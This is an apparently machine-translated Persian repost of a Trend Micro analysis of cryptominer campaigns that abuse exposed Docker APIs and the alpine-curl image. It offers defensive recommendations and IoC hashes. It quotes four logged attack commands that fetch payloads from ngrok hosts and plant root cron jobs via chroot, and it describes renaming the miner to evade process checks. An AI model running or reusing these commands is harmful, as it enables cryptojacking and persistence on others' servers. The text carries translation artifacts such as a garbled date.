چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود

چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود

ما داده‌های جمع‌آوری‌شده را با استفاده از ظروف honeypot، که برای ردیابی تهدیدات ایجاد کردیم، تجزیه و تحلیل کردیم. و ما فعالیت قابل توجهی را از ماینرهای ناخواسته یا غیرمجاز ارزهای دیجیتال شناسایی کردیم که به عنوان کانتینرهای سرکش با استفاده از یک تصویر منتشر شده توسط جامعه در Docker Hub مستقر شده بودند. این تصویر به عنوان بخشی از سرویسی استفاده می‌شود که ماینرهای مخرب ارزهای دیجیتال را ارائه می‌دهد.

علاوه بر این، برنامه هایی برای کار با شبکه ها برای نفوذ به ظروف و برنامه های همسایه باز نصب شده است.

ما هانی پات های خود را همانطور که هست می گذاریم، یعنی با تنظیمات پیش فرض، بدون هیچ گونه اقدامات امنیتی یا نصب بعدی نرم افزار اضافی. لطفاً توجه داشته باشید که Docker توصیه هایی برای راه اندازی اولیه برای جلوگیری از خطاها و آسیب پذیری های ساده دارد. اما هانی‌پات‌های مورد استفاده، کانتینرهایی هستند که برای شناسایی حملاتی که هدف آنها پلتفرم کانتینری‌سازی است، طراحی شده‌اند، نه برنامه‌های داخل کانتینرها.

فعالیت مخرب شناسایی شده نیز قابل توجه است زیرا به آسیب‌پذیری نیاز ندارد و همچنین مستقل از نسخه Docker است. یافتن یک تصویر کانتینر با پیکربندی نادرست و در نتیجه باز تمام چیزی است که مهاجمان برای آلوده کردن بسیاری از سرورهای باز به آن نیاز دارند.

Docker API بسته نشده به کاربر اجازه می دهد تا طیف وسیعی از موارد را انجام دهد تیم هااز جمله دریافت لیستی از کانتینرهای در حال اجرا، دریافت گزارش از یک کانتینر خاص، شروع، توقف (از جمله اجباری) و حتی ایجاد یک کانتینر جدید از یک تصویر خاص با تنظیمات مشخص.

چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود
در سمت چپ روش تحویل بدافزار است. در سمت راست، محیط مهاجم قرار دارد که امکان پخش تصاویر را از راه دور فراهم می کند.

چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود
توزیع بر اساس کشور 3762 API Docker باز. بر اساس جستجوی شدان مورخ 12.02.2019/XNUMX/XNUMX

گزینه های زنجیره حمله و بار

فعالیت مخرب نه تنها با کمک Honeypot ها شناسایی شد. داده‌های Shodan نشان می‌دهد که تعداد APIهای Docker در معرض (نمودار دوم را ببینید) از زمانی که یک کانتینر پیکربندی نادرست را بررسی کردیم که به‌عنوان پلی برای استقرار نرم‌افزار استخراج ارز دیجیتال Monero استفاده می‌شود، افزایش یافته است. در اکتبر سال گذشته (2018، داده های فعلی شما می توانید اینگونه نگاه کنید تقریبا مترجم) تنها 856 API باز وجود داشت.

بررسی سیاهههای مربوط به Honeypot نشان داد که استفاده از تصویر ظرف نیز با استفاده از آن مرتبط است ngrok، ابزاری برای ایجاد اتصالات ایمن یا ارسال ترافیک از نقاط در دسترس عموم به آدرس ها یا منابع مشخص شده (مثلاً میزبان محلی). این به مهاجمان این امکان را می دهد که به صورت پویا URL ها را هنگام تحویل بار به یک سرور باز ایجاد کنند. در زیر نمونه‌های کدی از گزارش‌ها وجود دارد که سوءاستفاده از سرویس ngrok را نشان می‌دهد:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

همانطور که می بینید، فایل های آپلود شده از URL هایی که دائما در حال تغییر هستند دانلود می شوند. این URL ها دارای تاریخ انقضا کوتاهی هستند، بنابراین پس از تاریخ انقضا نمی توان بارهای پرداختی را دانلود کرد.

دو گزینه بار وجود دارد. اولی یک ماینر کامپایل شده ELF برای لینوکس (تعریف شده به عنوان Coinminer.SH.MALXMR.ATNO) است که به استخر ماینینگ متصل می شود. دومی یک اسکریپت (TrojanSpy.SH.ZNETMAP.A) است که برای به دست آوردن ابزارهای شبکه خاصی که برای اسکن محدوده شبکه و سپس جستجوی اهداف جدید استفاده می شوند، طراحی شده است.

اسکریپت dropper دو متغیر را تنظیم می کند که سپس برای استقرار ماینر ارز دیجیتال استفاده می شود. متغیر HOST حاوی URL است که فایل های مخرب در آن قرار دارند و متغیر RIP نام فایل (در واقع هش) ماینر است که قرار است مستقر شود. متغیر HOST هر بار که متغیر هش تغییر می کند تغییر می کند. این اسکریپت همچنین سعی می کند بررسی کند که هیچ ماینر ارز دیجیتال دیگری روی سرور مورد حمله اجرا نمی شود.

چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود
نمونه‌هایی از متغیرهای HOST و RIP، و همچنین یک قطعه کد مورد استفاده برای بررسی اینکه هیچ ماینر دیگری در حال اجرا نیست

قبل از راه اندازی ماینر، نام آن به nginx تغییر یافته است. نسخه‌های دیگر این اسکریپت ماینر را به سرویس‌های قانونی دیگری که ممکن است در محیط‌های لینوکس وجود داشته باشند تغییر نام دهند. این معمولاً برای دور زدن بررسی ها در برابر لیست فرآیندهای در حال اجرا کافی است.

اسکریپت جستجو نیز دارای ویژگی هایی است. برای استقرار ابزارهای لازم با همان سرویس URL کار می کند. از جمله zmap باینری است که برای اسکن شبکه ها و به دست آوردن لیستی از پورت های باز استفاده می شود. این اسکریپت همچنین باینری دیگری را بارگیری می کند که برای تعامل با سرویس های یافت شده و دریافت بنرها از آنها برای تعیین اطلاعات اضافی در مورد سرویس یافت شده (مثلاً نسخه آن) استفاده می شود.

اسکریپت همچنین برخی از محدوده های شبکه را برای اسکن از قبل تعیین می کند، اما این بستگی به نسخه اسکریپت دارد. همچنین پیش از اجرای اسکن، پورت های مورد نظر را از سرویس ها (در این مورد، Docker) تنظیم می کند.

به محض یافتن اهداف ممکن، بنرها به طور خودکار از آنها حذف می شوند. این اسکریپت همچنین اهداف را بسته به خدمات، برنامه‌ها، مؤلفه‌ها یا پلتفرم‌های مورد علاقه فیلتر می‌کند: Redis، Jenkins، Drupal، MODX، استاد کوبرنتیس، سرویس گیرنده Docker 1.16 و Apache CouchDB. اگر سرور اسکن شده با هر یک از آنها مطابقت داشته باشد، در یک فایل متنی ذخیره می شود که مهاجمان می توانند بعداً از آن برای تجزیه و تحلیل و هک بعدی استفاده کنند. این فایل های متنی از طریق لینک های پویا در سرورهای مهاجمان آپلود می شوند. یعنی برای هر فایل از یک URL جداگانه استفاده می شود که به این معنی است که دسترسی بعدی مشکل است.

همانطور که در دو کد بعدی مشاهده می شود، بردار حمله یک تصویر Docker است.

چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود
در بالا تغییر نام به یک سرویس قانونی، و در پایین نحوه استفاده از zmap برای اسکن شبکه ها است.

چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود
در بالا محدوده های شبکه از پیش تعریف شده وجود دارد، در پایین پورت های خاصی برای جستجوی خدمات، از جمله Docker وجود دارد.

چگونه از Docker API غیرخصوصی و تصاویر عمومی جامعه برای توزیع ماینرهای ارزهای دیجیتال استفاده می شود
اسکرین شات نشان می دهد که تصویر alpine-curl بیش از 10 میلیون بار دانلود شده است

بر اساس Alpine Linux و curl، یک ابزار CLI با منابع کارآمد برای انتقال فایل ها از طریق پروتکل های مختلف، می توانید بسازید. تصویر داکر. همانطور که در تصویر قبلی مشاهده می کنید، این تصویر تاکنون بیش از 10 میلیون بار دانلود شده است. تعداد زیادی از دانلودها ممکن است به معنای استفاده از این تصویر به عنوان یک نقطه ورودی باشد؛ این تصویر بیش از شش ماه پیش به روز شد؛ کاربران تصاویر دیگر را از این مخزن بارها دانلود نکردند. در داکر نقطه ورود - مجموعه ای از دستورالعمل های مورد استفاده برای پیکربندی یک کانتینر برای اجرای آن. اگر تنظیمات نقطه ورودی نادرست باشد (مثلاً کانتینر از اینترنت باز بماند)، می توان از تصویر به عنوان بردار حمله استفاده کرد. مهاجمان می توانند از آن برای تحویل محموله استفاده کنند، اگر متوجه شوند که کانتینر نادرست پیکربندی شده یا باز است که پشتیبانی نمی شود.

توجه به این نکته ضروری است که این تصویر (alpine-curl) به خودی خود مخرب نیست، اما همانطور که در بالا مشاهده می کنید، می توان از آن برای انجام عملکردهای مخرب استفاده کرد. از تصاویر مشابه داکر نیز می توان برای انجام فعالیت های مخرب استفاده کرد. ما با داکر تماس گرفتیم و روی این موضوع با آنها کار کردیم.

توصیه

تنظیم نادرست باقی مشکل دائمی برای بسیاری از شرکت ها، به ویژه آنهایی که اجرا می کنند DevOps، بر توسعه و تحویل سریع متمرکز شده است. همه چیز با نیاز به رعایت قوانین ممیزی و نظارت، نیاز به نظارت بر محرمانه بودن داده ها و همچنین آسیب بسیار زیاد ناشی از عدم رعایت آنها تشدید می شود. گنجاندن اتوماسیون امنیتی در چرخه عمر توسعه نه تنها به شما کمک می‌کند حفره‌های امنیتی را پیدا کنید که در غیر این صورت ممکن است شناسایی نشوند، بلکه به شما کمک می‌کند تا حجم کاری غیر ضروری را کاهش دهید، مانند اجرای ساخت‌های نرم‌افزار اضافی برای هر آسیب‌پذیری کشف‌شده یا پیکربندی نادرست پس از استقرار یک برنامه.

حادثه ای که در این مقاله مورد بحث قرار گرفته است، نیاز به در نظر گرفتن ایمنی از ابتدا، از جمله توصیه های زیر را برجسته می کند:

  • برای مدیران سیستم و توسعه دهندگان: همیشه تنظیمات API خود را بررسی کنید تا مطمئن شوید همه چیز به گونه ای پیکربندی شده است که فقط درخواست های یک سرور یا شبکه داخلی خاص را بپذیرد.
  • از اصل حداقل حقوق پیروی کنید: اطمینان حاصل کنید که تصاویر کانتینر امضا و تأیید شده اند، دسترسی به اجزای حیاتی را محدود کنید (سرویس راه اندازی کانتینر) و رمزگذاری را به اتصالات شبکه اضافه کنید.
  • دنبال کردن توصیه ها و مکانیسم های امنیتی را فعال کنید، به عنوان مثال. از داکر و توکار ویژگی های امنیتی.
  • از اسکن خودکار زمان اجرا و تصاویر برای به دست آوردن اطلاعات اضافی در مورد فرآیندهای در حال اجرا در کانتینر (مثلاً برای تشخیص جعل یا جستجوی آسیب پذیری ها) استفاده کنید. کنترل برنامه و نظارت بر یکپارچگی به ردیابی تغییرات غیرعادی در سرورها، فایل‌ها و مناطق سیستم کمک می‌کند.

Trendmicro به تیم‌های DevOps کمک می‌کند تا ایمن بسازند، به سرعت راه‌اندازی کنند و در هر جایی راه‌اندازی کنند. Trend Micro امنیت ابری ترکیبی امنیت قدرتمند، کارآمد و خودکار را در سراسر خط لوله DevOps یک سازمان ارائه می‌کند و دفاع از تهدیدات متعدد را ارائه می‌کند. XGen برای محافظت از بارهای کاری فیزیکی، مجازی و ابری در زمان اجرا. همچنین امنیت کانتینر را با امنیت عمیق и بررسی هوشمند امنیتی عمیق، که تصاویر کانتینر Docker را برای بدافزار و آسیب پذیری ها در هر نقطه از خط لوله توسعه اسکن می کند تا از تهدیدات قبل از استقرار آنها جلوگیری کند.

نشانه های سازش

هش های مرتبط:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

بر دوره ویدیویی داکر سخنرانان تمرینی نشان می‌دهند که ابتدا چه تنظیماتی باید انجام شود تا احتمال آن به حداقل برسد یا کاملاً از وقوع وضعیتی که در بالا توضیح داده شد جلوگیری شود. و در 19-21 اوت در یک فشرده آنلاین ابزارهای DevOps و تقلب ها شما می توانید این مشکلات امنیتی و موارد مشابه را با همکاران و معلمان مجرب در یک میز گرد مطرح کنید، جایی که همه می توانند صحبت کنند و به دردها و موفقیت های همکاران با تجربه گوش دهند.

منبع: www.habr.com

اضافه کردن نظر